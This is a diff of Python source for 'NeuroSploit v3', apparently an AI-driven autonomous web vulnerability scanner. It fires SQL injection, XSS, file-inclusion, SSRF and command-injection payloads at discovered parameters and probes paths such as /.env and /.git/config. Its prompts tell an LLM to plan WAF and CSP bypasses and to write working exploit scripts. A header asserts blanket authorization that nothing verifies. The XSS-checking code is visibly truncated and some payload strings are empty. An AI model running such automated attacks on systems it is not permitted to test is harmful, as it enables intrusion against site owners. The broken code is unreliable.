test_targets.append({"url": url, "method": "GET", "params": self.recon.parameters[url]}) + + # Add forms + for form in self.recon.forms[:10]: + test_targets.append({ + "url": form['action'], + "method": form['method'], + "params": form.get('inputs', []) + }) + + # If no parameterized endpoints, test base endpoints with common params + if not test_targets: + await self.log("warning", " No parameterized endpoints found, testing with common params") + for endpoint in self.recon.endpoints[:5]: + test_targets.append({ + "url": _get_endpoint_url(endpoint), + "method": "GET", + "params": ["id", "q", "search", "page", "file", "url", "cat", "artist", "item"] + }) + + # Also test the main target with common params + test_targets.append({ + "url": self.target, + "method": "GET", + "params": ["id", "q", "search", "page", "file", "url", "path", "redirect", "cat", "item"] + }) + + await self.log("info", f" Total targets to test: {len(test_targets)}") + + for target in test_targets: + # Check for cancellation + if self.is_cancelled(): + await self.log("warning", "Scan cancelled by user") + return + + url = target.get('url', '') + await self.log("info", f" Testing: {url[:60]}...") + + for vuln_type in vuln_types: + if self.is_cancelled(): + return + + finding = await self._test_vulnerability_type( + url, + vuln_type, + target.get('method', 'GET'), + target.get('params', []) + ) + if finding: + await self._add_finding(finding) + + async def _test_vulnerability_type(self, url: str, vuln_type: str, + method: str = "GET", params: List[str] = None) -> Optional[Finding]: + """Test for a specific vulnerability type""" + payloads = self.PAYLOADS.get(vuln_type, []) + + parsed = urlparse(url) + base_url = f"{parsed.scheme}://{parsed.netloc}{parsed.path}" + + # Get existing params or use provided + existing_params = parse_qs(parsed.query) if parsed.query else {} + test_params = params or list(existing_params.keys()) or ["id", "q", "search"] + + for payload in payloads[:8]: + for param in test_params[:5]: + # Skip if already tested + test_key = f"{base_url}:{param}:{vuln_type}:{hash(payload) % 10000}" + if test_key in self.tested_payloads: + continue + self.tested_payloads.add(test_key) + + try: + # Build request + test_data = {**existing_params, param: payload} + + # First, get baseline response + baseline_resp = await self._make_request(base_url, method, {param: "test123"}) + + # Test with payload + test_resp = await self._make_request(base_url, method, test_data) + + if not test_resp: + continue + + # Check for vulnerability + is_vuln, evidence = await self._verify_vulnerability( + vuln_type, payload, test_resp, baseline_resp + ) + + if is_vuln: + # Double-check with AI to avoid false positives + if self.llm.is_available(): + confirmed = await self._ai_confirm_finding( + vuln_type, url, param, payload, + test_resp.get('body', '')[:2000], + evidence + ) + if not confirmed: + continue + + return self._create_finding( + vuln_type, url, param, payload, evidence, test_resp + ) + + except asyncio.TimeoutError: + # Timeout might indicate blind injection + if vuln_type == "sqli" and "SLEEP" in payload.upper(): + return self._create_finding( + vuln_type, url, param, payload, + "Request timeout - possible time-based blind SQLi", + {"status": "timeout"} + ) + except Exception as e: + await self.log("debug", f"Test error: {e}") + + return None + + async def _make_request(self, url: str, method: str, params: Dict) -> Optional[Dict]: + """Make HTTP request and return response details""" + try: + if method.upper() == "GET": + async with self.session.get(url, params=params, allow_redirects=False) as resp: + body = await resp.text() + return { + "status": resp.status, + "body": body, + "headers": dict(resp.headers), + "url": str(resp.url) + } + else: + async with self.session.post(url, data=params, allow_redirects=False) as resp: + body = await resp.text() + return { + "status": resp.status, + "body": body, + "headers": dict(resp.headers), + "url": str(resp.url) + } + except Exception as e: + return None + + async def _verify_vulnerability(self, vuln_type: str, payload: str, + response: Dict, baseline: Optional[Dict]) -> Tuple[bool, str]: + """Verify if response indicates vulnerability""" + body = response.get('body', '').lower() + body_original = response.get('body', '') # Keep original case for some checks + status = response.get('status', 0) + + if vuln_type == "sqli": + indicators = self.VULN_INDICATORS["sqli"]["errors"] + for indicator in indicators: + if indicator in body: + await self.log("debug", f" SQLi indicator found: {indicator}") + return True, f"SQL error message: '{indicator}'" + + # Additional SQL error patterns + sql_error_patterns = [ + "mysql", "mysqli", "pg_", "sqlite", "oracle", "mssql", + "syntax error", "unexpected", "unterminated", "quoted string", + "warning:", "error:", "fatal error", "exception", + "jdbc", "odbc", "sqlstate", "native client" + ] + for pattern in sql_error_patterns: + if pattern in body: + await self.log("debug", f" SQLi pattern found: {pattern}") + return True, f"SQL error pattern: '{pattern}'" + + # Check for different response indicating SQL injection + if baseline: + baseline_body = baseline.get('body', '') + diff = abs(len(body) - len(baseline_body)) + # More aggressive detection for boolean-based SQLi + if diff > 100 and ("OR" in payload.upper() or "AND" in payload.upper()): + await self.log("debug", f" SQLi response size diff: {diff}") + return True, f"Response size changed significantly ({diff} chars) - possible boolean-based SQLi" + + elif vuln_type == "xss": + # Check if payload is reflected without encoding + payload_lower = payload.lower() + if payload in body_original or payload.lower() in body: + # Verify it's in a dangerous context + if ') + if '<' in payload and '<' in body_original and '<' not in body_original: + # Check if our specific tag made it through + for tag in [' bool: + """Use AI to confirm finding and reduce false positives""" + # If LLM not available, trust the technical verification + if not self.llm.is_available(): + await self.log("debug", f" LLM not available, trusting technical verification for {vuln_type}") + return True + + prompt = f"""Analyze this potential {vuln_type.upper()} vulnerability and determine if it's REAL or a FALSE POSITIVE. + +**Target Information:** +- URL: {url} +- Vulnerable Parameter: {param} +- Payload Used: {payload} +- Evidence Found: {evidence} + +**Response Excerpt:** +``` +{response[:1500]} +``` + +**Vulnerability-Specific Analysis Required:** + +For {vuln_type.upper()}, confirm ONLY if: +{"- The injected SQL syntax causes a database error OR returns different data than normal input" if vuln_type == "sqli" else ""} +{"- The JavaScript payload appears UNESCAPED in the response body (not just reflected)" if vuln_type == "xss" else ""} +{"- The file content (e.g., /etc/passwd, win.ini) appears in the response" if vuln_type == "lfi" else ""} +{"- The template expression was EVALUATED (e.g., 7*7 became 49, not {{7*7}})" if vuln_type == "ssti" else ""} +{"- Internal/cloud resources were accessed (metadata, localhost content)" if vuln_type == "ssrf" else ""} +{"- Command output (uid=, gid=, directory listing) appears in response" if vuln_type == "rce" else ""} + +**Critical Questions:** +1. Does the evidence show the vulnerability being EXPLOITED, not just reflected? +2. Is there definitive proof of unsafe processing? +3. Could this evidence be normal application behavior or sanitized output? + +**IMPORTANT:** Be conservative. Many scanners report false positives. Only confirm if you see CLEAR exploitation evidence. + +Respond with exactly one of: +- "CONFIRMED: [brief explanation of why this is definitely exploitable]" +- "FALSE_POSITIVE: [brief explanation of why this is not a real vulnerability]" """ + + try: + response = await self.llm.generate(prompt, + "You are a senior penetration tester reviewing vulnerability findings. Be extremely strict - false positives waste client time and damage credibility. Only confirm findings with definitive exploitation evidence.") + return "CONFIRMED" in response.upper() + except: + # If AI fails, trust the technical verification + return True + + def _create_finding(self, vuln_type: str, url: str, param: str, + payload: str, evidence: str, response: Dict) -> Finding: + """Create a finding object with full technical details""" + severity = self._get_severity(vuln_type) + finding_id = hashlib.md5(f"{vuln_type}{url}{param}".encode()).hexdigest()[:8] + + parsed = urlparse(url) + path = parsed.path or '/' + + # Build a more realistic HTTP request representation + full_url = response.get('url', url) + method = response.get('method', 'GET') + status = response.get('status', 200) + + http_request = f"""{method} {path}?{param}={payload} HTTP/1.1 +Host: {parsed.netloc} +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-US,en;q=0.5 +Connection: close""" + + # Format response excerpt + response_body = response.get('body', '')[:1000] + http_response = f"""HTTP/1.1 {status} OK +Content-Type: {response.get('content_type', 'text/html')} + +{response_body}""" + + return Finding( + id=finding_id, + title=f"{vuln_type.upper()} in {path}", + severity=severity, + vulnerability_type=vuln_type, + cvss_score=self._get_cvss_score(vuln_type), + cvss_vector=self._get_cvss_vector(vuln_type), + affected_endpoint=full_url, + parameter=param, + payload=payload, + evidence=evidence, + response=http_response, + request=http_request, + ai_verified=self.llm.is_available(), + confidence="high" if self.llm.is_available() else "medium" + ) + + def _get_cvss_vector(self, vuln_type: str) -> str: + """Get CVSS 3.1 vector string for vulnerability type""" + vectors = { + "rce": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", + "sqli": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", + "ssti": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", + "lfi": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", + "ssrf": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N", + "xss": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", + "idor": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", + "open_redirect": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N", + } + return vectors.get(vuln_type, "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N") + + def _get_severity(self, vuln_type: str) -> str: + """Get severity for vulnerability type""" + return { + "rce": "critical", "sqli": "critical", "ssti": "critical", + "lfi": "high", "ssrf": "high", "xss": "high", + "idor": "medium", "open_redirect": "medium", + }.get(vuln_type, "medium") + + def _get_cvss_score(self, vuln_type: str) -> float: + """Get CVSS score for vulnerability type""" + return { + "rce": 9.8, "sqli": 9.1, "ssti": 9.1, + "lfi": 7.5, "ssrf": 7.5, "xss": 6.1, + "idor": 5.3, "open_redirect": 4.3, + }.get(vuln_type, 5.0) + + # ==================== AI ENHANCEMENT ==================== + + async def _ai_enhance_findings(self): + """Enhance findings with AI-generated details""" + if not self.llm.is_available(): + await self.log("info", " Skipping AI enhancement (LLM not available)") + return + + for finding in self.findings: + await self.log("info", f" Enhancing: {finding.title}") + enhanced = await self._enhance_single_finding(finding) + + finding.cwe_id = enhanced.get("cwe_id", "") + finding.description = enhanced.get("description", "") + finding.impact = enhanced.get("impact", "") + finding.poc_code = enhanced.get("poc_code", "") + finding.remediation = enhanced.get("remediation", "") + finding.references = enhanced.get("references", []) + + if enhanced.get("cvss_score"): + finding.cvss_score = enhanced["cvss_score"] + if enhanced.get("cvss_vector"): + finding.cvss_vector = enhanced["cvss_vector"] + + async def _enhance_single_finding(self, finding: Finding) -> Dict: + """AI enhancement for single finding""" + prompt = f"""Generate comprehensive details for this confirmed security vulnerability to include in a professional penetration testing report. + +**Vulnerability Details:** +- Type: {finding.vulnerability_type.upper()} +- Title: {finding.title} +- Affected Endpoint: {finding.affected_endpoint} +- Vulnerable Parameter: {finding.parameter} +- Payload Used: {finding.payload} +- Evidence: {finding.evidence} + +**Required Output:** + +1. **CVSS 3.1 Score:** Calculate accurately based on: + - Attack Vector (AV): Network (most web vulns) + - Attack Complexity (AC): Low/High based on prerequisites + - Privileges Required (PR): None/Low/High + - User Interaction (UI): None/Required + - Scope (S): Unchanged/Changed + - Impact: Confidentiality/Integrity/Availability + +2. **CWE ID:** Provide the MOST SPECIFIC CWE for this vulnerability type: + - SQL Injection: CWE-89 (or CWE-564 for Hibernate) + - XSS Reflected: CWE-79, Stored: CWE-79 + - LFI: CWE-22 or CWE-98 + - SSTI: CWE-94 or CWE-1336 + - SSRF: CWE-918 + - RCE: CWE-78 (OS Command) or CWE-94 (Code Injection) + +3. **Description:** Write 2-3 paragraphs explaining: + - What the vulnerability is and how it was discovered + - Technical details of how the exploitation works + - The specific context in this application + +4. **Impact:** Describe REALISTIC business and technical impact: + - What data/systems could be compromised? + - What's the worst-case scenario? + - Compliance implications (PCI-DSS, GDPR, etc.) + +5. **Proof of Concept:** Working Python script that: + - Uses the requests library + - Demonstrates the vulnerability + - Includes comments explaining each step + +6. **Remediation:** Specific, actionable steps: + - Code-level fixes (with examples) + - Framework/library recommendations + - Defense-in-depth measures + +7. **References:** Include links to: + - OWASP guidance + - CWE/CVE if applicable + - Vendor documentation + +Respond in JSON format: +{{ + "cvss_score": 8.5, + "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", + "cwe_id": "CWE-89", + "description": "A SQL injection vulnerability...", + "impact": "An attacker could...", + "poc_code": "import requests\\n\\n# PoC for SQL Injection\\n...", + "remediation": "1. Use parameterized queries...\\n2. Implement input validation...", + "references": ["https://owasp.org/Top10/A03_2021-Injection/", "https://cwe.mitre.org/data/definitions/89.html"] +}}""" + + try: + response = await self.llm.generate(prompt, + "You are a senior penetration tester writing findings for an enterprise client. Be thorough, accurate, and professional. The report will be reviewed by security teams and executives.") + match = re.search(r'\{.*\}', response, re.DOTALL) + if match: + return json.loads(match.group()) + except Exception as e: + await self.log("debug", f"AI enhance error: {e}") + + return {} + + # ==================== PROMPT-ONLY MODE ==================== + + async def _run_prompt_only(self) -> Dict: + """Prompt-only mode - AI decides everything""" + await self.log("warning", "PROMPT-ONLY MODE: AI will decide what tools to use") + await self.log("warning", "This mode uses more tokens than other modes") + await self._update_progress(0, "AI Planning") + + prompt = self.custom_prompt or (self.task.prompt if hasattr(self.task, 'prompt') else "") + if not prompt: + prompt = "Perform a comprehensive security assessment" + + # Phase 1: AI Planning + await self.log("info", "[PHASE 1/4] AI Planning") + plan = await self._ai_create_plan(prompt) + await self._update_progress(25, "Plan created") + + # Phase 2: Execute Plan + await self.log("info", "[PHASE 2/4] Executing Plan") + for step in plan.get("steps", ["recon", "test", "report"]): + await self.log("info", f" Executing: {step}") + await self._execute_plan_step(step) + await self._update_progress(70, "Plan executed") + + # Phase 3: Analyze Results + await self.log("info", "[PHASE 3/4] Analyzing Results") + await self._ai_enhance_findings() + await self._update_progress(85, "Analysis complete") + + # Phase 4: Generate Report + await self.log("info", "[PHASE 4/4] Generating Report") + report = await self._generate_full_report() + await self._update_progress(100, "Complete") + + return report + + async def _ai_create_plan(self, prompt: str) -> Dict: + """AI creates execution plan""" + if not self.llm.is_available(): + return {"steps": ["recon", "test", "report"]} + + system = """You are an autonomous penetration testing agent. Your role is to: +1. Understand the user's security testing request +2. Create an efficient, targeted testing plan +3. Ensure thorough coverage while avoiding redundant testing + +Always start with reconnaissance unless already done, and always end with report generation.""" + + plan_prompt = f"""**Security Testing Request:** +User Request: {prompt} +Target: {self.target} + +**Available Actions (predefined):** +- recon: Discover endpoints, parameters, forms, and technologies +- scan_sqli: Test for SQL injection +- scan_xss: Test for Cross-Site Scripting +- scan_lfi: Test for Local File Inclusion / Path Traversal +- scan_ssti: Test for Server-Side Template Injection +- scan_ssrf: Test for Server-Side Request Forgery +- clickjacking: Test for Clickjacking +- security_headers: Test security headers +- cors: Test for CORS misconfigurations +- scan_all: Comprehensive vulnerability testing +- report: Generate final assessment report + +**IMPORTANT: You can also use ANY custom vulnerability type as a step!** +For vulnerabilities not in the predefined list, just use the vulnerability name as the step. +The AI will dynamically generate tests for it. + +Examples of custom steps you can use: +- "xxe" - XML External Entity injection +- "race_condition" - Race condition testing +- "rate_limit_bypass" - Rate limiting bypass +- "jwt_vulnerabilities" - JWT security issues +- "bola" - Broken Object Level Authorization +- "bfla" - Broken Function Level Authorization +- "graphql_injection" - GraphQL specific attacks +- "nosql_injection" - NoSQL injection +- "waf_bypass" - WAF bypass techniques +- "csp_bypass" - CSP bypass techniques +- "prototype_pollution" - Prototype pollution +- "deserialization" - Insecure deserialization +- "mass_assignment" - Mass assignment vulnerabilities +- "business_logic" - Business logic flaws +- Any other vulnerability type you can think of! + +**Planning Guidelines:** +1. Start with 'recon' to gather information +2. Add steps based on user request - use predefined OR custom vulnerability names +3. Always end with 'report' + +**Examples:** +- "Test for XXE" → {{"steps": ["recon", "xxe", "report"]}} +- "Check race conditions and rate limiting" → {{"steps": ["recon", "race_condition", "rate_limit_bypass", "report"]}} +- "Test BOLA and BFLA" → {{"steps": ["recon", "bola", "bfla", "report"]}} +- "Full API security test" → {{"steps": ["recon", "bola", "bfla", "jwt_vulnerabilities", "mass_assignment", "report"]}} +- "WAF bypass and XSS" → {{"steps": ["recon", "waf_bypass", "scan_xss", "report"]}} + +Respond with your execution plan in JSON format: +{{"steps": ["action1", "action2", ...]}}""" + + try: + response = await self.llm.generate(plan_prompt, system) + match = re.search(r'\{.*\}', response, re.DOTALL) + if match: + return json.loads(match.group()) + except: + pass + + # Fallback: parse prompt keywords to determine steps + # This fallback now supports ANY vulnerability type via AI dynamic testing + prompt_lower = prompt.lower() + steps = ["recon"] + + # Known vulnerability mappings + vuln_mappings = { + # Predefined tests + "clickjack": "clickjacking", "x-frame": "clickjacking", "framing": "clickjacking", + "security header": "security_headers", + "cors": "cors", + "sqli": "scan_sqli", "sql injection": "scan_sqli", + "xss": "scan_xss", "cross-site script": "scan_xss", + "lfi": "scan_lfi", "file inclusion": "scan_lfi", "path traversal": "scan_lfi", + "ssti": "scan_ssti", "template injection": "scan_ssti", + "ssrf": "scan_ssrf", + # Advanced vulnerabilities - will use AI dynamic testing + "xxe": "xxe", "xml external": "xxe", + "race condition": "race_condition", "race": "race_condition", + "rate limit": "rate_limit_bypass", "rate-limit": "rate_limit_bypass", + "bola": "bola", "broken object": "bola", + "bfla": "bfla", "broken function": "bfla", + "idor": "idor", "insecure direct": "idor", + "jwt": "jwt_vulnerabilities", + "graphql": "graphql_injection", + "nosql": "nosql_injection", + "waf bypass": "waf_bypass", "waf": "waf_bypass", + "csp bypass": "csp_bypass", + "prototype pollution": "prototype_pollution", + "deserialization": "deserialization", "deserial": "deserialization", + "mass assignment": "mass_assignment", + "business logic": "business_logic", + "open redirect": "open_redirect", + "subdomain takeover": "subdomain_takeover", + "host header": "host_header_injection", + "cache poison": "cache_poisoning", + "http smuggling": "http_smuggling", "request smuggling": "http_smuggling", + "web cache": "cache_poisoning", + "parameter pollution": "parameter_pollution", "hpp": "parameter_pollution", + "type juggling": "type_juggling", + "timing attack": "timing_attack", + "command injection": "command_injection", "rce": "command_injection", + } + + matched_steps = set() + for keyword, step in vuln_mappings.items(): + if keyword in prompt_lower: + matched_steps.add(step) + + if matched_steps: + steps.extend(list(matched_steps)) + else: + # No known keywords matched - pass the entire prompt as a custom step + # The AI dynamic testing will handle it + custom_step = prompt.strip()[:100] # Limit length + if custom_step and custom_step.lower() not in ["test", "scan", "check", "find"]: + steps.append(custom_step) + else: + steps.append("scan_all") + + steps.append("report") + return {"steps": steps} + + async def _execute_plan_step(self, step: str): + """Execute a plan step - supports ANY vulnerability type via AI dynamic testing""" + step_lower = step.lower() + await self.log("debug", f"Executing plan step: {step}") + + # Known vulnerability types with predefined tests + if "recon" in step_lower or "information" in step_lower or "discovery" in step_lower: + await self._run_recon_only() + elif "scan_all" in step_lower: + await self._test_all_vulnerabilities(self._default_attack_plan()) + elif "sqli" in step_lower or "sql injection" in step_lower: + await self._test_all_vulnerabilities({"priority_vulns": ["sqli"]}) + elif "xss" in step_lower or "cross-site script" in step_lower: + await self._test_all_vulnerabilities({"priority_vulns": ["xss"]}) + elif "lfi" in step_lower or "local file" in step_lower or "path traversal" in step_lower: + await self._test_all_vulnerabilities({"priority_vulns": ["lfi"]}) + elif "ssti" in step_lower or "template injection" in step_lower: + await self._test_all_vulnerabilities({"priority_vulns": ["ssti"]}) + elif "ssrf" in step_lower or "server-side request" in step_lower: + await self._test_all_vulnerabilities({"priority_vulns": ["ssrf"]}) + elif "clickjack" in step_lower or "x-frame" in step_lower or "framing" in step_lower: + await self.log("info", " Testing for clickjacking/X-Frame-Options") + await self._test_security_headers("clickjacking") + elif "security_header" in step_lower or ("header" in step_lower and "security" in step_lower): + await self.log("info", " Testing security headers") + await self._test_security_headers("all") + elif "cors" in step_lower: + await self.log("info", " Testing CORS configuration") + await self._test_cors() + elif "info_disclos" in step_lower or ("information" in step_lower and "disclosure" in step_lower): + await self.log("info", " Testing for information disclosure") + await self._test_information_disclosure() + elif "report" in step_lower or "document" in step_lower: + await self.log("info", " Report will be generated at the end") + else: + # AI DYNAMIC TESTING - handles ANY vulnerability type! + # Examples: XXE, Race Condition, Rate Limiting, BOLA, BFLA, JWT, GraphQL, + # NoSQL Injection, WAF Bypass, CSP Bypass, Prototype Pollution, etc. + await self.log("info", f" [AI] Dynamic testing for: {step}") + await self._ai_dynamic_test(step) + + # ==================== ANALYZE-ONLY MODE ==================== + + async def _run_analyze_only(self) -> Dict: + """Analyze-only mode""" + await self.log("info", "ANALYZE-ONLY MODE: No active testing") + await self._update_progress(0, "Starting analysis") + + # Load any provided context + if self.recon_context: + await self.log("info", "[PHASE 1/2] Loading context") + self._load_context() + else: + await self.log("info", "[PHASE 1/2] Passive reconnaissance") + await self._initial_probe() + + await self._update_progress(50, "Context loaded") + + # AI Analysis + await self.log("info", "[PHASE 2/2] AI Analysis") + analysis = await self._ai_passive_analysis() + await self._update_progress(100, "Analysis complete") + + return { + "type": "analysis_only", + "target": self.target, + "mode": self.mode.value, + "scan_date": datetime.utcnow().isoformat(), + "analysis": analysis, + "recon": { + "endpoints": len(self.recon.endpoints), + "technologies": self.recon.technologies + }, + "findings": [], + "recommendations": ["Perform active testing for complete assessment"] + } + + def _load_context(self): + """Load recon context""" + if not self.recon_context: + return + data = self.recon_context.get("data", {}) + self.recon.endpoints = [{"url": e} for e in data.get("endpoints", [])] + self.recon.technologies = data.get("technologies", []) + + async def _ai_passive_analysis(self) -> str: + """AI passive analysis""" + if not self.llm.is_available(): + return "LLM not available for analysis" + + context = f"""Target: {self.target} +Endpoints: {[_get_endpoint_url(e) for e in self.recon.endpoints[:20]]} +Technologies: {self.recon.technologies} +Forms: {len(self.recon.forms)}""" + + prompt = f"""Perform a security analysis WITHOUT active testing: + +{context} + +Analyze and identify: +1. Potential security risks +2. Areas requiring testing +3. Technology-specific concerns +4. Recommendations + +Provide your analysis:""" + + try: + return await self.llm.generate(prompt, + "You are a security analyst. Analyze without active testing.") + except: + return "Analysis failed" + + # ==================== REPORT GENERATION ==================== + + def _generate_recon_report(self) -> Dict: + """Generate recon report""" + return { + "type": "reconnaissance", + "target": self.target, + "mode": self.mode.value, + "scan_date": datetime.utcnow().isoformat(), + "summary": { + "target": self.target, + "endpoints_found": len(self.recon.endpoints), + "forms_found": len(self.recon.forms), + "technologies": self.recon.technologies, + }, + "data": { + "endpoints": self.recon.endpoints[:50], + "forms": self.recon.forms[:20], + "technologies": self.recon.technologies, + "api_endpoints": self.recon.api_endpoints[:20], + }, + "findings": [], + "recommendations": ["Proceed with vulnerability testing"] + } + + async def _generate_full_report(self) -> Dict: + """Generate comprehensive report""" + # Convert findings to dict + findings_data = [] + for f in self.findings: + findings_data.append({ + "id": f.id, + "title": f.title, + "severity": f.severity, + "vulnerability_type": f.vulnerability_type, + "cvss_score": f.cvss_score, + "cvss_vector": f.cvss_vector, + "cwe_id": f.cwe_id, + "description": f.description, + "affected_endpoint": f.affected_endpoint, + "parameter": f.parameter, + "payload": f.payload, + "evidence": f.evidence, + "impact": f.impact, + "poc_code": f.poc_code, + "remediation": f.remediation, + "references": f.references, + "ai_verified": f.ai_verified, + "confidence": f.confidence, + }) + + # Count by severity + severity_counts = {"critical": 0, "high": 0, "medium": 0, "low": 0, "info": 0} + for f in self.findings: + severity_counts[f.severity] = severity_counts.get(f.severity, 0) + 1 + + # Generate recommendations + recommendations = self._generate_recommendations() + + report = { + "type": "full_assessment", + "target": self.target, + "mode": self.mode.value, + "scan_date": datetime.utcnow().isoformat(), + "duration": "N/A", + "summary": { + "target": self.target, + "mode": self.mode.value, + "total_findings": len(self.findings), + "severity_breakdown": severity_counts, + "endpoints_tested": len(self.recon.endpoints), + "technologies": self.recon.technologies, + "risk_level": self._calculate_risk_level(severity_counts), + }, + "findings": findings_data, + "recommendations": recommendations, + "executive_summary": await self._generate_executive_summary(findings_data, severity_counts) + } + + # Log summary + await self.log("info", "=" * 60) + await self.log("info", "ASSESSMENT COMPLETE") + await self.log("info", f"Total Findings: {len(self.findings)}") + await self.log("info", f" Critical: {severity_counts['critical']}") + await self.log("info", f" High: {severity_counts['high']}") + await self.log("info", f" Medium: {severity_counts['medium']}") + await self.log("info", f" Low: {severity_counts['low']}") + await self.log("info", "=" * 60) + + return report + + async def _generate_executive_summary(self, findings: List, counts: Dict) -> str: + """Generate executive summary""" + if not self.llm.is_available() or not findings: + if counts.get('critical', 0) > 0: + return f"Critical vulnerabilities found requiring immediate attention. {counts['critical']} critical and {counts['high']} high severity issues identified." + elif counts.get('high', 0) > 0: + return f"High severity vulnerabilities found. {counts['high']} high severity issues require prompt remediation." + else: + return "Assessment completed. Review findings and implement recommended security improvements." + + # Build finding summary for context + finding_summary = [] + for f in findings[:5]: + finding_summary.append(f"- [{f.get('severity', 'unknown').upper()}] {f.get('title', 'Unknown')}") + + risk_level = self._calculate_risk_level(counts) + + prompt = f"""Generate a professional executive summary for this penetration testing report. + +**Assessment Overview:** +- Target: {self.target} +- Assessment Type: Automated Security Assessment +- Overall Risk Rating: {risk_level} + +**Findings Summary:** +- Total Vulnerabilities: {len(findings)} +- Critical: {counts.get('critical', 0)} +- High: {counts.get('high', 0)} +- Medium: {counts.get('medium', 0)} +- Low: {counts.get('low', 0)} +- Informational: {counts.get('info', 0)} + +**Key Findings:** +{chr(10).join(finding_summary) if finding_summary else '- No significant vulnerabilities identified'} + +**Required Output:** +Write a 3-4 sentence executive summary that: +1. States the overall security posture (good/needs improvement/critical issues) +2. Highlights the most important finding(s) and their business impact +3. Provides a clear call to action for remediation + +Write in a professional, non-technical tone suitable for C-level executives and board members.""" + + try: + return await self.llm.generate(prompt, + "You are a senior security consultant presenting findings to executive leadership. Be concise, professional, and focus on business impact rather than technical details.") + except: + return "Assessment completed. Review findings for details." + + def _calculate_risk_level(self, counts: Dict) -> str: + """Calculate overall risk level""" + if counts.get("critical", 0) > 0: + return "CRITICAL" + elif counts.get("high", 0) > 0: + return "HIGH" + elif counts.get("medium", 0) > 0: + return "MEDIUM" + elif counts.get("low", 0) > 0: + return "LOW" + return "INFO" + + def _generate_recommendations(self) -> List[str]: + """Generate recommendations""" + recommendations = [] + + vuln_types = set(f.vulnerability_type for f in self.findings) + + if "sqli" in vuln_types: + recommendations.append("Implement parameterized queries/prepared statements to prevent SQL injection") + if "xss" in vuln_types: + recommendations.append("Implement output encoding and Content Security Policy (CSP) headers") + if "lfi" in vuln_types: + recommendations.append("Validate and sanitize all file path inputs; implement allowlists") + if "ssti" in vuln_types: + recommendations.append("Use logic-less templates or properly sandbox template engines") + if "ssrf" in vuln_types: + recommendations.append("Validate and restrict outbound requests; use allowlists for URLs") + if "rce" in vuln_types: + recommendations.append("Avoid executing user input; use safe APIs instead of system commands") + + if not recommendations: + recommendations.append("Continue regular security assessments and penetration testing") + recommendations.append("Implement security headers (CSP, X-Frame-Options, etc.)") + recommendations.append("Keep all software and dependencies up to date") + + return recommendations + + def _generate_error_report(self, error: str) -> Dict: + """Generate error report""" + return { + "type": "error", + "target": self.target, + "mode": self.mode.value, + "error": error, + "findings": [], + "summary": {"error": error} + } diff --git a/backend/core/autonomous_scanner.py b/backend/core/autonomous_scanner.py new file mode 100644 index 0000000..87870e4 --- /dev/null +++ b/backend/core/autonomous_scanner.py @@ -0,0 +1,951 @@ +""" +NeuroSploit v3 - Autonomous Scanner + +This module performs autonomous endpoint discovery and vulnerability testing +when reconnaissance finds little or nothing. It actively: +1. Bruteforces directories using ffuf/gobuster/feroxbuster +2. Crawls the site aggressively +3. Tests common vulnerable endpoints +4. Generates test cases based on common patterns +5. Adapts based on what it discovers + +GLOBAL AUTHORIZATION: +This tool is designed for authorized penetration testing only. +All tests are performed with explicit authorization from the target owner. +""" + +import asyncio +import aiohttp +import subprocess +import json +import re +import os +from typing import Dict, List, Any, Optional, Callable +from urllib.parse import urljoin, urlparse, parse_qs, urlencode +from dataclasses import dataclass, field +from datetime import datetime + + +@dataclass +class DiscoveredEndpoint: + """Represents a discovered endpoint""" + url: str + method: str = "GET" + status_code: int = 0 + content_type: str = "" + content_length: int = 0 + parameters: List[str] = field(default_factory=list) + source: str = "discovery" # How it was discovered + interesting: bool = False # Potentially vulnerable + + +@dataclass +class TestResult: + """Result of a vulnerability test""" + endpoint: str + vuln_type: str + payload: str + is_vulnerable: bool + confidence: float + evidence: str + request: Dict + response: Dict + + +class AutonomousScanner: + """ + Autonomous vulnerability scanner that actively discovers and tests endpoints. + + Works independently of reconnaissance - if recon fails, this scanner will: + 1. Crawl the target site + 2. Discover directories via bruteforce + 3. Find parameters and endpoints + 4. Test all discovered points for vulnerabilities + """ + + # Common vulnerable endpoints to always test + COMMON_ENDPOINTS = [ + # Login/Auth + "/login", "/signin", "/auth", "/admin", "/admin/login", "/wp-admin", + "/user/login", "/account/login", "/administrator", + # API endpoints + "/api", "/api/v1", "/api/v2", "/api/users", "/api/user", + "/api/login", "/api/auth", "/api/token", "/graphql", + # File operations + "/upload", "/download", "/file", "/files", "/documents", + "/images", "/media", "/assets", "/static", + # Common vulnerable paths + "/search", "/query", "/find", "/lookup", + "/include", "/page", "/view", "/show", "/display", + "/read", "/load", "/fetch", "/get", + # Debug/Dev + "/debug", "/test", "/dev", "/staging", + "/phpinfo.php", "/.env", "/.git/config", + "/server-status", "/server-info", + # CMS specific + "/wp-content", "/wp-includes", "/xmlrpc.php", + "/joomla", "/drupal", "/magento", + # Config files + "/config.php", "/configuration.php", "/settings.php", + "/web.config", "/config.xml", "/config.json", + # Backup files + "/backup", "/backup.sql", "/dump.sql", + "/db.sql", "/database.sql", + ] + + # Common parameters to test + COMMON_PARAMS = [ + "id", "page", "file", "path", "url", "redirect", "next", + "query", "search", "q", "s", "keyword", "term", + "user", "username", "name", "email", "login", + "cat", "category", "item", "product", "article", + "action", "cmd", "command", "exec", "run", + "template", "tpl", "theme", "lang", "language", + "sort", "order", "orderby", "filter", + "callback", "jsonp", "format", "type", + "debug", "test", "demo", "preview", + ] + + # XSS test payloads + XSS_PAYLOADS = [ + "", + "", + "'\">", + "", + "javascript:alert('XSS')", + "", + "'-alert('XSS')-'", + "\">", + ] + + # SQLi test payloads + SQLI_PAYLOADS = [ + "'", "\"", "' OR '1'='1", "\" OR \"1\"=\"1", + "' OR 1=1--", 